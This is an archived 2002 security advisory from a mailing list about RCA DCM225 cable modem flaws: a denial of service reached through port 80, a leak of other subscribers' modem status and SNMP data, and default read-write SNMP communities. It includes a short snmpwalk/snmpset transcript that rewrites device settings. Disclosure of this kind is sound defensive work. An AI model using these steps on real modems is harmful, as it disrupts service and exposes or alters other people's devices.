[NEWS] RCA Cable Modem Contains Multiple Vulnerabilities
From: support@securiteam.comDate: 03/28/02
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From: support@securiteam.com To: list@securiteam.com Date: Thu, 28 Mar 2002 13:07:30 +0100 (CET)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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RCA Cable Modem Contains Multiple Vulnerabilities
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SUMMARY
The RCA Digital Cable Modem serves as a two-way high-speed bridge between
your personal computer and a cable Internet Service Provider (ISP). It
converts information that originates from the Internet or your computer
into electronic messages that can be transported over the same wires your
cable company uses to transport video signals. Multiple security
vulnerabilities have been found in the product that range from causing a
denial of service attack against it, to sensitive information leakage.
DETAILS
Denial of Service:
The RCA cable modem has two devices, one for the local location
(192.168.100.1). The other (10.x.x.x) device is used in the remote
location. If you connect to the second device (10.x.x.x) on the listening
port 80 (TCP), the RCA cable modem will reset the user connection the user
has with the Internet.
Information Leakage:
It is possible to connect to any modem residing on the WAN (inside the IP
range of 10.x.x.x, are all modems that are located at the same node), and
look at the user's cable modem status information. The information
contained there will reveal things such as:
USB: Inactive
Ethernet: 100
BaseT
MAC Address: 00 10 95 0a 05 62
User: Active
Signal Acquired at 573 MHz
SNR: 36.0 dB
Received Signal Strength: -4.0 dBmV
Micro-Reflections: 20 dBc
Connection: Acquired
Frequency: 37 MHz
Power Level: 44.0 dBmV
Channel ID: 4
Number of user conected: 1
Or further information can be gathered by dumping user's cable modem SNMP
data:
69.1.4.2.0 = IpAddress: 10.20.250.1
69.1.4.3.0 = IpAddress: 10.20.250.1
69.1.4.4.0 = IpAddress: 10.20.250.1
69.1.4.5.0 = "docsis_light_avalos"
Where the word "avalos" is the name of the street where the node facility
is located.
Mis-configuration allows configuration of the device:
By accessing the device via SNMP using the commonly known communities
(public/public), it is possible to both read and write information stored
on the device.
[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public
system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS:
PSOS 2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (141857) 0:23:38.57
system.sysContact.0 = unassigned sysContact
system.sysName.0 =
system.sysLocation.0 =
system.sysServices.0 = 79
[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysName.0 s lame
system.sysName.0 = lame
[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysLocation.0 s
lame_cyty
system.sysName.0 = lame_city
[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public
system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS:
PSOS 2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (161396) 0:26:53.96
system.sysContact.0 = unassigned sysContact
system.sysName.0 = lame
system.sysLocation.0 = lame_city
system.sysServices.0 = 79
ADDITIONAL INFORMATION
The information has been provided by <mailto:gmaggiot@ciudad.com.ar>
Gabriel A. Maggiotti.
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